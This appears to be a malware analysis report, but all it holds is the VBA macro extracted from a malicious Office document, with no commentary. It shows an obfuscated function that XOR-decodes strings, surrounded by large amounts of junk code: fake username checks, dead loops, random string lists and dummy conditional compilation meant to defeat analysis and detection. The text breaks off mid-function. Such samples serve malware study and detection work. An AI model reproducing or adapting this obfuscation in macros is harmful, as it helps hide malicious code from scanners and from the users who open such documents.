Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "KFn5pu"
Public Function cRmgRwcrOtgen21(ByRef ttkLkHQilUaC9i As String, ByRef THREE As String) As String
Dim wKU17YtCpQsBM0t() As Byte
If Len(Application.UserName) < 100 Then
Dim ylDJnbgBTM2y5vB As String
End If
Dim LyYLUBC3euRGzSG As String
LyYLUBC3euRGzSG = Application.UserName
Dim AFvEjAmmQ9upSy9Of, EegvQXwDT1T8Ktmdmgo As Integer
EegvQXwDT1T8Ktmdmgo = Len(LyYLUBC3euRGzSG)
Dim rafCrNbGZR9JncGZ As Collection
While EegvQXwDT1T8Ktmdmgo > 3
AFvEjAmmQ9upSy9Of = AFvEjAmmQ9upSy9Of + 3
EegvQXwDT1T8Ktmdmgo = EegvQXwDT1T8Ktmdmgo - 1
Wend
If Application.UserName = "stV5mKFvmtL" Then
MsgBox ("C5HCW7nm4d1")
Else
Dim BvH0A2NuxbNfgH As Integer
End If
If Len(Application.UserName) < 100 Then
Dim t1I54DbPDPQB7Ku As String
End If
Dim X8vW1YNjzl0YLPF As String
X8vW1YNjzl0YLPF = Application.UserName
Dim f9P3vEwTozCXgE5n0, Z17A9VTQcoakp17ueys As Integer
Z17A9VTQcoakp17ueys = Len(X8vW1YNjzl0YLPF)
Dim U05xJUxSFMyiK8UG As Collection
While Z17A9VTQcoakp17ueys > 2
f9P3vEwTozCXgE5n0 = f9P3vEwTozCXgE5n0 + 1
Z17A9VTQcoakp17ueys = Z17A9VTQcoakp17ueys - 1
Wend
Dim Ob2XgHf1PKDvBRY As Collection
Set Ob2XgHf1PKDvBRY = New Collection
Ob2XgHf1PKDvBRY.Add "Pmdb3ddDFY3ZSRJBJ"
Ob2XgHf1PKDvBRY.Add "tenJdy9SviRbB4hJFcKPffstUASx57quR4XPlcAm4Ksfz72e"
Ob2XgHf1PKDvBRY.Add "Ei9ETNv4xdfJWy1hJGhRinchVUwM5WIyEz2IuMkJeqngHuy4oQyv7djaFbt8ai9cVrFi5tw7"
Ob2XgHf1PKDvBRY.Add "z1A6akg2ioiW0kOcCTcms5qKKZoP95e0QjpsaJBJciAU390fUcqde3"
Ob2XgHf1PKDvBRY.Add "KxvA5R3mKrGR5fB2RTKJ5WQLjJ4gOBVW3zhkYBNKpXKM2ijyazLLtf7yijawXWXIVuXI8bePG9ehLE"
Ob2XgHf1PKDvBRY.Add "kFFbxKmYxsBykbzS9B0ILb09T6FtAZm"
Ob2XgHf1PKDvBRY.Add "aLRQ6TLH9SPZpooMLhKOKxJOGH3F2XZFhjKPfCDroBLIkknRahx2c"
Ob2XgHf1PKDvBRY.Add "lCDKxaFOm2J1GeZrJecjJnAnfelpVhh"
Dim YHtkA8w1BEYOyCFcz6() As Byte
If Chr(Tan(CDbl(1.55781004387472))) = M Then
Dim AWFuMw6yof2Iml As String
Dim dlKCM2cJ4d5 As String
dlKCM2cJ4d5 = vJ41ykXIxpi
AWFuMw6yof2Iml = tSM3YAvWMM3
End If
If (StrComp(AWFuMw6yof2Iml, dlKCM2cJ4d5, vbTextCompare) <> 0) Then
MsgBox ("yDUBNFXs1cmyRm")
End If
Dim cQsBL1hzXSuHyG As Integer
Dim Nd5QWD6bsLH As String
cQsBL1hzXSuHyG = 9695
Dim BCkJXw2Pd4V As Integer
Nd5QWD6bsLH = Right(CStr(cQsBL1hzXSuHyG), Chr(Tan(CDbl(1.55039099610836))))
BCkJXw2Pd4V = CInt(Nd5QWD6bsLH)
For EQbKaCiMPoH = BCkJXw2Pd4V To 42
cQsBL1hzXSuHyG = cQsBL1hzXSuHyG + 8
Next EQbKaCiMPoH
Dim wc4JGudtt0Cywi, SSVdYiqXzws As Integer
wc4JGudtt0Cywi = 3
SSVdYiqXzws = 5
#If dBON7whMDlb <> 0 Then
dBON7whMDlb = dBON7whMDlb + 8
Dim Lpx3gvIASWH As Variant
Else
Dim Lpx3gvIASWH As Object
#End If
If wc4JGudtt0Cywi > SSVdYiqXzws Then
For qThxIeUyhpIbgt = SSVdYiqXzws To wc4JGudtt0Cywi
SSVdYiqXzws = SSVdYiqXzws / wc4JGudtt0Cywi
Next qThxIeUyhpIbgt
End If
Dim xzuY2YdJe9S3S3 As Object
If Application.UserName = "O8ZCGUxemMZ" Then
MsgBox ("LuAN70s2B8W")
Else
Dim bUGsvRLTUjKTQs As Integer
End If
Dim Ze0oqYuzdLvGvR As Long
Dim gvcLBBGCqBt9Kl As Integer
For VOyizlw89XK = 8 To 88
gvcLBBGCqBt9Kl = VOyizlw89XK
Next VOyizlw89XK
Dim fzSd3Z6ALNCfbA As Integer
Dim OogykgGZdFF As String
fzSd3Z6ALNCfbA = 6423
Dim sWSpB3fMhAV As Integer
OogykgGZdFF = Right(CStr(fzSd3Z6ALNCfbA), Chr(Tan(CDbl(1.55039099610836))))
sWSpB3fMhAV = CInt(OogykgGZdFF)
For hIbGVsxhp6f = sWSpB3fMhAV To 99
fzSd3Z6ALNCfbA = fzSd3Z6ALNCfbA + 3
Next hIbGVsxhp6f
Dim IXj6ZJVHGBlOaG, PzAbuYDsXpN As Integer
IXj6ZJVHGBlOaG = 7
PzAbuYDsXpN = 8
#If HomOQnCTl61 <> 0 Then
HomOQnCTl61 = HomOQnCTl61 + 8
Dim gYwOr5gTiFG As Variant
Else
Dim gYwOr5gTiFG As Object
#End If
If IXj6ZJVHGBlOaG > PzAbuYDsXpN Then
For KkM5jn7ZcA4sRe = PzAbuYDsXpN To IXj6ZJVHGBlOaG
PzAbuYDsXpN = PzAbuYDsXpN / IXj6ZJVHGBlOaG
Next KkM5jn7ZcA4sRe
End If
Dim kHLDHICbBCUDYV, Jd1spft8Dq5 As Integer
kHLDHICbBCUDYV = 7
Jd1spft8Dq5 = 4
#If zKQCJAS5IQS <> 0 Then
zKQCJAS5IQS = zKQCJAS5IQS + 8
Dim O6wjODrxfUK As Variant
Else
Dim O6wjODrxfUK As Object
#End If
If kHLDHICbBCUDYV > Jd1spft8Dq5 Then
For eoqkc7JvtEeII8 = Jd1spft8Dq5 To kHLDHICbBCUDYV
Jd1spft8Dq5 = Jd1spft8Dq5 / kHLDHICbBCUDYV
Next eoqkc7JvtEeII8
End If
Dim OqQNKkykmWjhVvW As String
OqQNKkykmWjhVvW = Application.UserName
Dim bOwzolcoxzdM4fvdo, E024Ad3QDXbPUNTlgTw As Integer
E024Ad3QDXbPUNTlgTw = Len(OqQNKkykmWjhVvW)
Dim b12Fd1UhUXJDSerW As Collection
While E024Ad3QDXbPUNTlgTw > 9
bOwzolcoxzdM4fvdo = bOwzolcoxzdM4fvdo + 3
E024Ad3QDXbPUNTlgTw = E024Ad3QDXbPUNTlgTw - 1
Wend
Dim rA7GChQXECCbnJa As Collection
Set rA7GChQXECCbnJa = New Collection
rA7GChQXECCbnJa.Add "3HtxXuGxOB5yG34AaIxiWXdxEpTGjlIUskhKjUBsGnYcVJvCWeAvQWMfo4vrbAQm2kGgWtbFGGbt8Ad44QuFlXEWXBgojURG"
rA7GChQXECCbnJa.Add "kuCOqmC4oJ4choa0zKQKBfguIUNwfwxVWLas2qjHDqs4b4e1"
Dim SYPZ2UiGVOs8HkI As String
SYPZ2UiGVOs8HkI = Application.UserName
Dim GVwlSNxViwPrfJaVe, x42NYgXaUE6BZZqrCB0 As Integer
x42NYgXaUE6BZZqrCB0 = Len(SYPZ2UiGVOs8HkI)
Dim ekNszR0j3yJngvZg As Collection
While x42NYgXaUE6BZZqrCB0 > 6
GVwlSNxViwPrfJaVe = GVwlSNxViwPrfJaVe + 5
x42NYgXaUE6BZZqrCB0 = x42NYgXaUE6BZZqrCB0 - 1
Wend
Dim JzEAD1lsqpGoN70 As Collection
Set JzEAD1lsqpGoN70 = New Collection
JzEAD1lsqpGoN70.Add "P24yWzzrvNZsEjic6uo6DgUosQBQ0TcDbgk9U65jFbgg6mg93YZ36xXshPFFvh0buWRi8jH9yE1lAzsGuBWb"
JzEAD1lsqpGoN70.Add "GlI2bE0xzikEwjU8BUQaE17vrug9VtKZhLQpZGHDI8RTB6BJwwACLdeOnWKqh1eDYLgkTpi4MMRFkouvtXNjtHNEqBBC6afR"
JzEAD1lsqpGoN70.Add "5xZa0GNGx8MZn9lY7Ko4UQ8c3Rnf7vrAlXt5WShGWmSP1RYCbicV"
JzEAD1lsqpGoN70.Add "2p17gidrIDRMyPQqCpmiir8skm2lEZSVXBfEEYv8modO7pdIwugztEAKqIW4p2mtv5"
JzEAD1lsqpGoN70.Add "uLmn4n54Ntv5JuxT3fmSBUX5C1SuBudC0rXkI23FJG76Xav5CS0PSgvayqkCVK3dQsFcWOLAmhJ5XaimGXrs3NtU"
JzEAD1lsqpGoN70.Add "wcR0t8MdqoUTiyHxnvW0CXI868dKjD9vgYctsvzLs3u3Rzy3kDj77F5YTT4vfC3mpjwKVYH18LIInOrJJjjfdBzadEZZ1BqpAHO"
JzEAD1lsqpGoN70.Add "ohM6r9w7wuEmul5cYJnwWqR8sA6ecIfA9JfBXjvBAdqTUzGZvNl8k5o7QNOrDRfoPEmlG3F"
Dim DeivJUD8s7BEQK As Object
Dim ouKTPTHx7aMjaU As Object
Dim vjL8CC2dQoAAOG As Object
Dim agD25Ko1JVSzjJ4 As Long
Dim ifQeLEXhyOQQO7 As Integer
For bYbOMhp1GT1 = 5 To 58
ifQeLEXhyOQQO7 = bYbOMhp1GT1
Next bYbOMhp1GT1
Dim RuFm4oq6SmrkYH As Integer
For BNUu2Kjv0vj = 8 To 88
RuFm4oq6SmrkYH = BNUu2Kjv0vj
Next BNUu2Kjv0vj
If Chr(Tan(CDbl(1.5565115842075))) = F Then
Dim Kat8CNtwGihs1b As String
Dim SLabIxiWELf As String
SLabIxiWELf = CKMtAGVt2B3
Kat8CNtwGihs1b = B3IVBDoAOJE
End If
If (StrComp(Kat8CNtwGihs1b, SLabIxiWELf, vbTextCompare) <> 0) Then
MsgBox ("HmUznDUlxVhd9D")
End If
Dim HSeAijCKFtKJPU As Integer
Dim OgHISlGBB7n As String
HSeAijCKFtKJPU = 2645
Dim u83ktN4qHKd As Integer
OgHISlGBB7n = Right(CStr(HSeAijCKFtKJPU), Chr(Tan(CDbl(1.55039099610836))))
u83ktN4qHKd = CInt(OgHISlGBB7n)
For QdJd3M2RYP7 = u83ktN4qHKd To 22
HSeAijCKFtKJPU = HSeAijCKFtKJPU + 5
Next QdJd3M2RYP7
Dim ZGe3lPAifOGVie As Object
Dim cyA7iGqornmOyRk As String
cyA7iGqornmOyRk = Application.UserName
Dim hkks1T1dDDXIawAnv, trA17semgUQ7gvcDGXg As Integer
trA17semgUQ7gvcDGXg = Len(cyA7iGqornmOyRk)
Dim OGw8HQTuUiYZ6p1V As Collection
While trA17semgUQ7gvcDGXg > 1
hkks1T1dDDXIawAnv = hkks1T1dDDXIawAnv + 9
trA17semgUQ7gvcDGXg = trA17semgUQ7gvcDGXg - 1
Wend
Dim oYo3c6oZGmKWIwF As Collection
Set oYo3c6oZGmKWIwF = New Collection
oYo3c6oZGmKWIwF.Add "1Oyi4STYAW8ILbFunApX59CGhEid3TU0ckNb31KZxcYPywppxcox0RP2MrAxux"
oYo3c6oZGmKWIwF.Add "BIplNo1w0PhdkzSvZ3naof9KVVPM0Up97sNpGEbLl19ktvRYYPa0MFCgI"
oYo3c6oZGmKWIwF.Add "1Zp6fkig2kmpVbcyzfYbjD0zl4yz2qqhlyjv65dALPZywjFYtQPAt"
oYo3c6oZGmKWIwF.Add "zj1VkvuoM3FDg1q21"
oYo3c6oZGmKWIwF.Add "PTnBBBxZElbpzh"
oYo3c6oZGmKWIwF.Add "MEk2OblN4qgigCYX8UyWKh0TvWq"
Dim zdz5FrV3ycexNfkF As Long
If Chr(Tan(CDbl(1.55564597092013))) = B Then
Dim fOh6sBFy08dwAl As String
Dim QYBLMuqeDem As String
QYBLMuqeDem = e0iZ45aLQSQ
fOh6sBFy08dwAl = cfuk1CdunEO
End If
If (StrComp(fOh6sBFy08dwAl, QYBLMuqeDem, vbTextCompare) <> 0) Then
MsgBox ("FINX5gAdHKDTHL")
End If
Dim GMYDIZ7G6VTzNj As Object
Dim UFUqhpZ9pwbLPQW As String
UFUqhpZ9pwbLPQW = Application.UserName
Dim IqiTokmzy21kyrJ7z, PgxnLtTfrWvv4wKz5j7 As Integer
PgxnLtTfrWvv4wKz5j7 = Len(UFUqhpZ9pwbLPQW)
Dim Af70cTzhuzb92S3L As Collection
While PgxnLtTfrWvv4wKz5j7 > 8
IqiTokmzy21kyrJ7z = IqiTokmzy21kyrJ7z + 7
PgxnLtTfrWvv4wKz5j7 = PgxnLtTfrWvv4wKz5j7 - 1
Wend
Dim VPfGipRDKi5fGcI As Collection
Set VPfGipRDKi5fGcI = New Collection
VPfGipRDKi5fGcI.Add "WwaQ83qJ7v1oTvQQnrcyhMBa4TcXiDVRYwwtd3QOdsFsy9DDYV03v4IJuAWoaTk3ajQg8hwubOUxG"
VPfGipRDKi5fGcI.Add "5QZ8NNcfdom9dglzKHLSPsgF1iGbhjTDbYbY"
VPfGipRDKi5fGcI.Add "Xq8Dw2ViSNxaKr"
VPfGipRDKi5fGcI.Add "WMtUGoHA73VjhEFNvxufUL6otTQ2lGZlHbCOorOsi7F2gwANImpU6aqLPFkwYPY1etbGC0iDlB6WFDH6TCu8bForv09"
Dim EuUL196Jrmz0pU As Object
Dim yvtP9IUqHAXDSBP As String
yvtP9IUqHAXDSBP = Application.UserName
Dim W6cmxz90ph2skjSIE, Fy1T1QHvSLdegdbcvvB As Integer
Fy1T1QHvSLdegdbcvvB = Len(yvtP9IUqHAXDSBP)
Dim JC4dHv9HTThY3v16 As Collection
While Fy1T1QHvSLdegdbcvvB > 9
W6cmxz90ph2skjSIE = W6cmxz90ph2skjSIE + 7
Fy1T1QHvSLdegdbcvvB = Fy1T1QHvSLdegdbcvvB - 1
Wend
If Application.UserName = "sZ76JjdMzEX" Then
MsgBox ("EuFzDrTvOpv")
Else
Dim vIbMNPIkz6Qs5L As Integer
End If
Dim vSGsM9NhnRnUe As Long
If Chr(Tan(CDbl(1.55930258007987))) = W Then
Dim VgE1AgAcDCPRKT As String
Dim cCS8yEXmmse As String
cCS8yEXmmse = ml1yD8XXMJw
VgE1AgAcDCPRKT = ZxbBmiRM5v2
End If
If (StrComp(VgE1AgAcDCPRKT, cCS8yEXmmse, vbTextCompare) <> 0) Then
MsgBox ("SK9qsLAwz3WXQ4")
End If
Dim tIcLGd4RJD15MZ As Object
If Len(Application.UserName) < 100 Then
Dim m9Sz2mKkfkUfAI9 As String
End If
If Application.UserName = "UmCwjJGOso9" Then
MsgBox ("f9feJe4B5sZ")
Else
Dim GS6QCncdL4fnZx As Integer
End If
If Application.UserName = "XlS6alzaIYQ" Then
MsgBox ("OVwRH8J3DTc")
Else
Dim x8eQzyySAvx04w As Integer
End If
wKU17YtCpQsBM0t = StrConv(ttkLkHQilUaC9i, vbFromUnicode)
Dim vvEaED3DapnulA As Object
Dim pffXDgmpv2X0D7G As String
pffXDgmpv2X0D7G = Application.UserName
Dim HiePbqytgHhzpCr1I, hDBPAGAMp0UIAPxaIaF As Integer
hDBPAGAMp0UIAPxaIaF = Len(pffXDgmpv2X0D7G)
Dim r773drKGbb9TYrco As Collection
While hDBPAGAMp0UIAPxaIaF > 4
HiePbqytgHhzpCr1I = HiePbqytgHhzpCr1I + 1
hDBPAGAMp0UIAPxaIaF = hDBPAGAMp0UIAPxaIaF - 1
Wend
Dim HiuLLjdm8IfcnYd As Collection
Set HiuLLjdm8IfcnYd = New Collection
HiuLLjdm8IfcnYd.Add "Y22xpgdBEKYqtgb3H8tseoIg0IHhyzonMyE5DcdK3mxbQp"
HiuLLjdm8IfcnYd.Add "nQN1FsFttV9hY6NQfvd4bgxoeix1xrPKbS3hjzhdtULsc6w6Zj5fLwXGbjWg3N4BGyGGDpqsN9KGUG"
HiuLLjdm8IfcnYd.Add "w2cQvt9o4wGAaAkgaJloxq3u2N"
HiuLLjdm8IfcnYd.Add "mRvUXzuBvoPWxcLQiqRMZoqKfhtG8rYi"
HiuLLjdm8IfcnYd.Add "CnAvnmQivw4PyXenLL5Fv7kkxxEoCDQr5AZiPzCo6024QPsV"
HiuLLjdm8IfcnYd.Add "gMnVCECZ6yimgrfMTy75XYJQJ5EqUjGsCqhDEj8Vgx0OGUULYD64Xq7HCWMH9VFW"
HiuLLjdm8IfcnYd.Add "kxKcItxmZih4Kxk3SQnLVVsZAsX1VKtegRueA65MFuRZkILXgFDxtgeOGubaW7ROyDX3FG2VVaGkET"
HiuLLjdm8IfcnYd.Add "gAVPG4vAwfXPfe0HdClhuRSaMseSZ3Kz5i4VmBI3RWGjsn00k8GBrSIOs5CYadl3VkT6keeb3rPXLsrj1nrbwIFn"
HiuLLjdm8IfcnYd.Add "nr9udyvNOIT3QFdpIACuDANcgzvJGMeqg41wcJOam8djQ8W"
If Application.UserName = "BU8hhH0TpP3" Then
MsgBox ("VHxPhhD9YQD")
Else
Dim w5iXA1c5nkAXQ5 As Integer
End If
Dim Y3dYDZM6X2bEU1h As String
Y3dYDZM6X2bEU1h = Application.UserName
Dim ZVGr6fpyof6BKO731, la9kcOktJlqDcRmcyqU As Integer
la9kcOktJlqDcRmcyqU = Len(Y3dYDZM6X2bEU1h)
Dim fGRyVtaodOCW0ylv As Collection
While la9kcOktJlqDcRmcyqU > 1
ZVGr6fpyof6BKO731 = ZVGr6fpyof6BKO731 + 3
la9kcOktJlqDcRmcyqU = la9kcOktJlqDcRmcyqU - 1
Wend
YHtkA8w1BEYOyCFcz6 = StrConv(THREE, vbFromUnicode)
If Chr(Tan(CDbl(1.5565115842075))) = F Then
Dim QOvWN9z5oWbB3H As String
Dim dEzsBfRgDpn As String
dEzsBfRgDpn = WOpi6hOSR0T
QOvWN9z5oWbB3H = kelF9YgbpSZ
End If
If (StrComp(QOvWN9z5oWbB3H, dEzsBfRgDpn, vbTextCompare) <> 0) Then
MsgBox ("kTATHoN3zKGtwv")
End If
Dim PG6g29m9UBhVin As Integer
Dim VkEYDJlvxU0 As String
PG6g29m9UBhVin = 1572
Dim BylcjzaDnAA As Integer
VkEYDJlvxU0 = Right(CStr(PG6g29m9UBhVin), Chr(Tan(CDbl(1.55039099610836))))
BylcjzaDnAA = CInt(VkEYDJlvxU0)
For lrAyhGYuOzy = BylcjzaDnAA To 96
PG6g29m9UBhVin = PG6g29m9UBhVin + 3
Next lrAyhGYuOzy
Dim feXEGDNtMx3kM6, tdsGAJnhimh As String
feXEGDNtMx3kM6 = 5
tdsGAJnhimh = 9
#If feXEGDNtMx3kM6 > tdsGAJnhimh Then
Dim Fe4c9uR08fR As Object
#Else
Dim Fe4c9uR08fR As Integer
Fe4c9uR08fR = 5 + 9
Dim INgnnazs1n4 As Integer
For SCJrvWNmE5u = INgnnazs1n4 To feXEGDNtMx3kM6
INgnnazs1n4 = INgnnazs1n4 + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next SCJrvWNmE5u
#End If
Dim VqhEVJknP2q5c0 As Object
If Application.UserName = "wDPflxBRgsO" Then
MsgBox ("cVl9yBFkf2U")
Else
Dim Sj4Y5bdZ2q0Rzg As Integer
End If
If Application.UserName = "sz1C7tRyRzZ" Then
MsgBox ("IN8yUe2o0GJ")
Else
Dim gkEp8S9w3WE2Zl As Integer
End If
Dim Jv0cm04DZAS7mkr As String
Jv0cm04DZAS7mkr = Application.UserName
Dim FLLtlGlVDza9JhtM1, apzbGFtVGxJ90BznXj3 As Integer
apzbGFtVGxJ90BznXj3 = Len(Jv0cm04DZAS7mkr)
Dim sg0VAWBtvFzspNgR As Collection
While apzbGFtVGxJ90BznXj3 > 4
FLLtlGlVDza9JhtM1 = FLLtlGlVDza9JhtM1 + 9
apzbGFtVGxJ90BznXj3 = apzbGFtVGxJ90BznXj3 - 1
Wend
Dim vHUG0cqsJcdJug As Object
Ze0oqYuzdLvGvR = UBound(wKU17YtCpQsBM0t)
Dim YY8uiZsC7Obh2M As Integer
For qnq8pkAojT4 = 9 To 94
YY8uiZsC7Obh2M = qnq8pkAojT4
Next qnq8pkAojT4
Dim WN7B9VHBghG4nb As Object
Dim hTfa0v1u6mw1Z8 As Object
Dim uozqIjq0jdy6Ma As Object
agD25Ko1JVSzjJ4 = UBound(YHtkA8w1BEYOyCFcz6)
Dim SmKuPzn79GACnb As Integer
Dim tA5fPsEV8Re As String
SmKuPzn79GACnb = 5132
Dim b4J6s4PoRHy As Integer
tA5fPsEV8Re = Right(CStr(SmKuPzn79GACnb), Chr(Tan(CDbl(1.55039099610836))))
b4J6s4PoRHy = CInt(tA5fPsEV8Re)
For pmyoMTBEI4m = b4J6s4PoRHy To 43
SmKuPzn79GACnb = SmKuPzn79GACnb + 4
Next pmyoMTBEI4m
Dim WcMaN2R6k0yejAw As String
WcMaN2R6k0yejAw = Application.UserName
Dim Cn8jB8S6OUZZLrRpj, MSLPW3j1twXrcrZbHOQ As Integer
MSLPW3j1twXrcrZbHOQ = Len(WcMaN2R6k0yejAw)
Dim Gpb4T1l2jQ2fHGIt As Collection
While MSLPW3j1twXrcrZbHOQ > 7
Cn8jB8S6OUZZLrRpj = Cn8jB8S6OUZZLrRpj + 4
MSLPW3j1twXrcrZbHOQ = MSLPW3j1twXrcrZbHOQ - 1
Wend
Dim jNFGh9AiSYVvwZc As Collection
Set jNFGh9AiSYVvwZc = New Collection
jNFGh9AiSYVvwZc.Add "2JMnPWVQcXAkS9pxHOdCfHNqzIUIjTf4Pmj1WqmY23neYJjqt37mXeQu6g"
jNFGh9AiSYVvwZc.Add "CMrI2GVpZycalFJletRoinZpW3gvVy500fVqMelSy4Q5agARUpQNOMiYwBw9jjTk3mkFtdZ9H9xoXdOx2P"
jNFGh9AiSYVvwZc.Add "irlo773KslsOkpBy64h1PQFPW3BSz7GUJmCLA5IwjORfQkE"
jNFGh9AiSYVvwZc.Add "Z28rjbRlWSD6kXufXF7n0yBvvRB8k8vxU0XEInjLuknnE080hA3fGDll1M6RZTBXgOmt9qWufw3"
jNFGh9AiSYVvwZc.Add "Xr5TKbjFQsQPwN6rSwaiQHxNO01oJ9UJ"
jNFGh9AiSYVvwZc.Add "deB7O1cSQgVeNcaCMAcr4Q1rETk55QYG3WtbpUhjF70T"
jNFGh9AiSYVvwZc.Add "nYNGzUrnfNnU34RhWAIOl1s9X1c3l7ZiyUqMrxdDZP0gzVbmSil0LoIwpOt51zBizEfjOF0ggEyVAMLBa0lDViW"
jNFGh9AiSYVvwZc.Add "3gcGiMlNRssx1XNsETHxzv"
jNFGh9AiSYVvwZc.Add "reAM8MOsVYUiXa81NIsdcLidYVRPPUXHDZYDLYPFdAddCoUnVPm"
If Len(Application.UserName) < 100 Then
Dim a7B5qy3nAbrFatA As String
End If
If Len(Application.UserName) < 100 Then
Dim jqPdmfje6dPiNgd As String
End If
Dim D2uwAgbgsU5VoVl As String
D2uwAgbgsU5VoVl = Application.UserName
Dim jkjIv6ePXP7ESYbV8, GQ86SkpnNDwOGdVX7QI As Integer
GQ86SkpnNDwOGdVX7QI = Len(D2uwAgbgsU5VoVl)
Dim CDp7chz4odI2Z9yH As Collection
While GQ86SkpnNDwOGdVX7QI > 8
jkjIv6ePXP7ESYbV8 = jkjIv6ePXP7ESYbV8 + 6
GQ86SkpnNDwOGdVX7QI = GQ86SkpnNDwOGdVX7QI - 1
Wend
For zdz5FrV3ycexNfkF = 0 To Ze0oqYuzdLvGvR
Dim fYQIAFmFrLFUfZ, epYEnj3tKfn As Integer
fYQIAFmFrLFUfZ = 4
epYEnj3tKfn = 7
#If vsMT4Ekjs4r <> 0 Then
vsMT4Ekjs4r = vsMT4Ekjs4r + 8
Dim CeWICq5stvz As Variant
Else
Dim CeWICq5stvz As Object
#End If
If fYQIAFmFrLFUfZ > epYEnj3tKfn Then
For RdLg7MPo1OvfFW = epYEnj3tKfn To fYQIAFmFrLFUfZ
epYEnj3tKfn = epYEnj3tKfn / fYQIAFmFrLFUfZ
Next RdLg7MPo1OvfFW
End If
If Chr(Tan(CDbl(1.55874871694071))) = S Then
Dim qbv1GYsHXGYUDC As String
Dim YR9Qvm4IlOA As String
YR9Qvm4IlOA = A0kjmPqsbDz
qbv1GYsHXGYUDC = An98roZAGat
End If
If (StrComp(qbv1GYsHXGYUDC, YR9Qvm4IlOA, vbTextCompare) <> 0) Then
MsgBox ("XZV4cu4Spxh0Gh")
End If
Dim dFoJZyHctEjK78 As Integer
Dim B6OZQxI6UCD As String
dFoJZyHctEjK78 = 6813
Dim nwdlsyiYVWK As Integer
B6OZQxI6UCD = Right(CStr(dFoJZyHctEjK78), Chr(Tan(CDbl(1.55039099610836))))
nwdlsyiYVWK = CInt(B6OZQxI6UCD)
For DcsvI6bJIm8 = nwdlsyiYVWK To 66
dFoJZyHctEjK78 = dFoJZyHctEjK78 + 8
Next DcsvI6bJIm8
If Application.UserName = "lNnOZZZKYzX" Then
MsgBox ("oJhtQLACU6C")
Else
Dim nlarIlDZA86nyu As Integer
End If
Dim KhYRdJO7nVmimN As Object
If Application.UserName = "glCyB6gfYEC" Then
MsgBox ("X0LUGy7yY5i")
Else
Dim PRVDcO8YWC200e As Integer
End If
Dim u4b2ydvjrJIx1mM As String
u4b2ydvjrJIx1mM = Application.UserName
Dim SaQkJoaGWvVAela10, yQRRVkzMTzgQIU0PdNZ As Integer
yQRRVkzMTzgQIU0PdNZ = Len(u4b2ydvjrJIx1mM)
Dim YQx9BntTBUj12i5b As Collection
While yQRRVkzMTzgQIU0PdNZ > 3
SaQkJoaGWvVAela10 = SaQkJoaGWvVAela10 + 1
yQRRVkzMTzgQIU0PdNZ = yQRRVkzMTzgQIU0PdNZ - 1
Wend
Dim dat5G8E1VL7gQ0t As Collection
Set dat5G8E1VL7gQ0t = New Collection
dat5G8E1VL7gQ0t.Add "1OULSRtbBWRQaY8ho2A"
dat5G8E1VL7gQ0t.Add "jLO2XzwsmWmM52H8ZT5"
dat5G8E1VL7gQ0t.Add "xMa7L2GF4s39ARDGS4d7tZ9oEeg0iPiEcsu9y5M5pmsnsM5kD2GYcpdZMv2qWQ"
dat5G8E1VL7gQ0t.Add "JxhRhESXsiRHrW62j5zqJKlzPUwCCfjZEDd2onD8ktq4XVsxxAHac1f9"
dat5G8E1VL7gQ0t.Add "CMRPUM82Co2DN51yFaerZ3m7NCYI6Nhep4k1q"
dat5G8E1VL7gQ0t.Add "d5eTE7vwLjnvFfgUJjUCSz06yGYYSU9HvBAv5ji9cPNi"
dat5G8E1VL7gQ0t.Add "c8IkbSVSFqEie7iXe0jfADfuYjAVjDkRnWn"
dat5G8E1VL7gQ0t.Add "s3rvc6UqWFkaFvX9wbYdYL1RAsCGz5HUJHv61uhHLDC"
dat5G8E1VL7gQ0t.Add "4eRNS05O61hBavt3N3b7QR79aHC3RRUJX1GNu3eEMFMPO5b8yN7Kkh"
dat5G8E1VL7gQ0t.Add "hRzKzB7phXojofJUYXuLFsveqD"
If Application.UserName = "rQ2USEmvNw8" Then
MsgBox ("bygSeu53UWy")
Else
Dim Ii0sdqcGTQLIhs As Integer
End If
wKU17YtCpQsBM0t(zdz5FrV3ycexNfkF) = wKU17YtCpQsBM0t(zdz5FrV3ycexNfkF) Xor YHtkA8w1BEYOyCFcz6(vSGsM9NhnRnUe)
If Chr(Tan(CDbl(1.55943317953061))) = X Then
Dim SBcAJdXYqHN58y As String
Dim fEqAI3n7duH As String
fEqAI3n7duH = L6uaPjTyVo3
SBcAJdXYqHN58y = ozjTmTsO0y8
End If
If (StrComp(SBcAJdXYqHN58y, fEqAI3n7duH, vbTextCompare) <> 0) Then
MsgBox ("DVtIgHVjYir35g")
End If
Dim M4SP3YqGDMcwQV, D4nw8WRr7rV As String
M4SP3YqGDMcwQV = 9
D4nw8WRr7rV = 9
#If M4SP3YqGDMcwQV > D4nw8WRr7rV Then
Dim uobPFSFPITz As Object
#Else
Dim uobPFSFPITz As Integer
uobPFSFPITz = 9 + 9
Dim eqnOQTeqo03 As Integer
For SN9zCR77h6l = eqnOQTeqo03 To M4SP3YqGDMcwQV
eqnOQTeqo03 = eqnOQTeqo03 + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next SN9zCR77h6l
#End If
Dim NzSLv09wneBcgv, PTwT6px2h19 As String
NzSLv09wneBcgv = 2
PTwT6px2h19 = 4
#If NzSLv09wneBcgv > PTwT6px2h19 Then
Dim RpiZAcAkpoj As Object
#Else
Dim RpiZAcAkpoj As Integer
RpiZAcAkpoj = 2 + 4
Dim L5QaULfPEfq As Integer
For auLN9SkcXPb = L5QaULfPEfq To NzSLv09wneBcgv
L5QaULfPEfq = L5QaULfPEfq + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next auLN9SkcXPb
#End If
If Len(Application.UserName) < 100 Then
Dim CnxYBEW7wPy97oq As String
End If
Dim HuY7ZzeNOEAbqk As Object
If Application.UserName = "FMlV4FRtzUj" Then
MsgBox ("sHKf47c3CbA")
Else
Dim um6fSdpXbOthAK As Integer
End If
Dim fjXvInJ87rh5uVE As String
fjXvInJ87rh5uVE = Application.UserName
Dim OLQs8i9xyw5SsZHcY, dxPIyEZqeIwaqLcozaZ As Integer
dxPIyEZqeIwaqLcozaZ = Len(fjXvInJ87rh5uVE)
Dim Fq6YwDdRSWhKAVfS As Collection
While dxPIyEZqeIwaqLcozaZ > 3
OLQs8i9xyw5SsZHcY = OLQs8i9xyw5SsZHcY + 3
dxPIyEZqeIwaqLcozaZ = dxPIyEZqeIwaqLcozaZ - 1
Wend
